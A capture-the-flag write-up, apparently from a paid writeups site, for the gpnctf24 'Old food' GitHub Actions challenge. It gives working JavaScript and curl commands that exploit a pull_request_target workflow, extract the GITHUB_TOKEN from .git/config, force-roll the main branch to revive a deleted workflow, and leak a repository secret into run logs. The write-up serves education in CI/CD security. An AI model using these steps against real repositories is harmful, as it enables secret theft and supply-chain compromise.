$ cat writeup.md…
$ cat writeup.md…
gpnctf24
Task: GitHub Actions CI/CD security challenge with a vulnerable pull_request_target ci.yml (checks out attacker PR merge-ref) and a deleted flag.yml that references secrets.FLAG, all in a private per-player repo. Solution: achieve privileged RCE via the PR merge-ref checkout, recover the contents:write GITHUB_TOKEN from actions/checkout-persisted .git/config, roll the default branch back via the REST git refs API to resurrect the deleted flag.yml (bypassing the workflow-scope push protection), then open a triggering PR to run it and exfiltrate the double-base64 secret into the public run logs.
Old food, gold food, mold food, bold food, bad f00d, whatever.
ncat --ssl steamed-filet-under-sliced-harissa-uz0h.gpn24.ctf.kitctf.de 443
English summary: Connecting to the service provisions a private per-player GitHub
repository (a Node.js "Fresh Bite" recipe app) and adds the player as a
read-only collaborator. A repository Actions secret named FLAG holds the flag.
The repo's CI workflow uses the privileged pull_request_target trigger and
checks out the attacker's PR code, but ci.yml never references secrets.FLAG.
A second workflow, flag.yml, does reference the flag — but it was deleted
from main and only survives in git history. The goal ("Old food" =
stale/old workflow that can be resurrected) is to bring the deleted workflow
back to life and make it leak the secret. The author, intrigus-lgtm, is a
known GitHub Actions security researcher, confirming the theme.
The ncat --ssl ... 443 endpoint prompts for a GitHub username. A backend
(server.py → node index.js, using an authenticated GitHub PAT) then:
actor_id via the GitHub API.<actor_id>_<username>_old-food-challenge in org
GPNCTF24-2.main, feature/*,
fix/*, ...) and the full git history.ci.yml to appear, then adds the player as a pull (read-only)
collaborator.FLAG — the real flag.Reconnaissance trick: probing the prompt with a throwaway username (e.g.
octocat) leaks the org name GPNCTF24-2 and the repo-naming scheme through the
node error output, even before owning an instance. The service warns not to
test against the live instance (limited Actions minutes) — develop the exploit on
a personal fork, then fire once at the real instance.
ci.yml on main HEAD (commit d8ab766, "This is fine")name: CI on: push: { branches: [main] } pull_request_target: { branches: [main] } # privileged: base-repo secrets + write token permissions: contents: write # write token, but NO workflows scope jobs: lint: ... test: needs: lint steps: - uses: actions/checkout@v4 with: ref: refs/pull/${{ github.event.pull_request.number }}/merge # ATTACKER PR merge ref - uses: actions/setup-node@v4 - run: npm ci - run: npm run test:coverage # runs attacker-controlled jest tests
git show d8ab766 reveals the trigger was changed from pull_request →
pull_request_target, permissions: contents: write was added, and the
merge-ref checkout was added. This is the classic pull_request_target +
checkout-of-PR-code = privileged RCE pattern: an external PR runs in the base
repo's privileged context (its secrets and GITHUB_TOKEN) yet executes the
attacker's code.
flag.yml, the "old food"From scaffold.sh and git history:
6d6b8d3 ("Add FLAG workflow") added flag.yml:on: pull_request_target: { branches: [main] } permissions: {} jobs: flag: steps: - name: Get flag run: echo ${{ secrets.FLAG }} | base64 | base64
23c38eb ("Remove unused FLAG workflow") deleted flag.yml
from main.So flag.yml is gone from main HEAD but still present at full commit
6d6b8d303d16b05a5d38c8abc38c6bd28e19e240 and on several feature/* branches.
pull_request / pull_request_target, the workflows that run come from the
base branch (main) only — not from the PR head. Verified: a PR from
feature/pr-checks (which contains flag.yml) into main triggered only
ci.yml from main. So flag.yml runs iff it is present on main HEAD.main HEAD contains flag.yml, any PR to main triggers it as
pull_request_target, leaking secrets.FLAG (double-base64) into the
public run logs. Verified by decoding a planted TEST_FLAG.The token in CI has contents: write but no workflow scope. Therefore:
Pushing/updating any ref that adds or modifies a .github/workflows/* file
is rejected:
refusing to allow a Personal Access Token to create or update workflow
`.github/workflows/ci.yml` without `workflow` scope
Forward refs-API updates to workflow-modifying commits also fail (404).
However, rolling the default branch backward to a stale commit that
re-introduces an old workflow file via the REST API is allowed without the
workflow scope:
PATCH /repos/{owner}/{repo}/git/refs/heads/main
{ "sha": "<old_commit>", "force": true }
This "resurrects" the deleted flag.yml onto main. Verified with a plain
repo-scope PAT on the fork and with the in-CI GITHUB_TOKEN
(contents:write, no workflow scope) on the real instance.
Accept the read-collaborator invitation:
curl -s -X PATCH \ -H "Authorization: token $READ_PAT" \ -H "Accept: application/vnd.github+json" \ https://api.github.com/user/repository_invitations/$INVITE_ID
Fork the repo (to craft the malicious PR head branch).
Create an exploit branch and inject the payload as a JEST TEST FILE.
Do not add a package.json preinstall hook — modifying package.json
breaks npm ci lockfile validation. Keep package.json identical to base so
npm ci succeeds, then npm run test:coverage (jest) runs the added test,
which require()s the payload. The merge-ref tree = base main (d8ab766)
plus the added test files; flag.yml stays deleted in the merged tree
(delete wins), no conflict.
// src/__tests__/exploit.test.js test('exploit', () => { require('../../exploit.js'); });
Open a cross-repo PR: head cepreusa:exploit → base GPNCTF24-2:main.
This triggers the privileged ci.yml pull_request_target run; the test
job checks out the merge ref and executes the payload.
Payload (exploit.js, runs inside the privileged job):
The GITHUB_TOKEN is not in process.env. Recover it from the
credentials actions/checkout persists in .git/config — the
http.https://github.com/.extraheader value is
Authorization: basic base64("x-access-token:<TOKEN>"):
const { execSync } = require('child_process'); const cfg = execSync( 'git config --get http.https://github.com/.extraheader', { encoding: 'utf8' } ).trim(); // "AUTHORIZATION: basic <b64>" const b64 = cfg.split(' ').pop(); const token = Buffer.from(b64, 'base64') .toString('utf8').split(':').pop(); // x-access-token:<TOKEN> -> <TOKEN> // recovered token length 426
Roll main back to the flag.yml commit (resurrect the workflow):
const repo = process.env.GITHUB_REPOSITORY; // GPNCTF24-2/<actor>_<user>_old-food-challenge await fetch(`https://api.github.com/repos/${repo}/git/refs/heads/main`, { method: 'PATCH', headers: { 'Authorization': `token ${token}`, 'Accept': 'application/vnd.github+json', }, body: JSON.stringify({ sha: '6d6b8d303d16b05a5d38c8abc38c6bd28e19e240', force: true, }), }); // -> 200, main now points at the flag.yml commit
Attempting to open the triggering PR with this same token fails with
403 Resource not accessible by integration — ci.yml granted only
contents: write, not pull-requests: write.
Open the triggering PR manually with the read-collaborator PAT (a read
collaborator can open PRs). main now carries the resurrected flag.yml,
so any PR into it triggers flag.yml as pull_request_target:
curl -s -X POST \ -H "Authorization: token $READ_PAT" \ -H "Accept: application/vnd.github+json" \ https://api.github.com/repos/$REPO/pulls \ -d '{"title":"trigger","head":"cepreusa:trigger","base":"main","body":"x"}'
The resurrected flag.yml runs echo ${{ secrets.FLAG }} | base64 | base64,
leaking the (double-base64) flag into the public Actions run logs.
Download and decode the run logs:
curl -sL -H "Authorization: token $READ_PAT" \ https://api.github.com/repos/$REPO/actions/runs/$RUN_ID/logs -o logs.zip unzip -p logs.zip | tr -d '\r' \ | grep -A2 'Get flag' \ | tr -d ' \n' \ | base64 -d | base64 -d # GPNCTF{ResuRRec7_th3_w0RkFLOw_r1p_th3_gL0rI0uS_daY5_0F_PUll_REQu3s7_tAr6et}
ci.yml RCE does NOT leak the flag. secrets.FLAG is never
referenced in ci.yml, and a secret is injected into a job's env only when
explicitly referenced via ${{ secrets.X }}. You must get flag.yml (which
references it) to run.GITHUB_TOKEN is not auto-exposed to run: steps as an env var. Recover
it from the actions/checkout-persisted .git/config http.extraheader
(or map it via env:).contents: write only — no workflow scope and no
pull-requests: write. The only privileged action available was the
contents:write ref rollback.flag.yml on a PR HEAD branch does not run — for pull_request_target,
only base-branch workflows run.package.json to add a preinstall hook breaks npm ci
(lockfile mismatch). Inject the payload via a jest test instead and keep
package.json byte-identical to base.workflow scope; only a backward ref rollback to an existing
historical commit is allowed.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar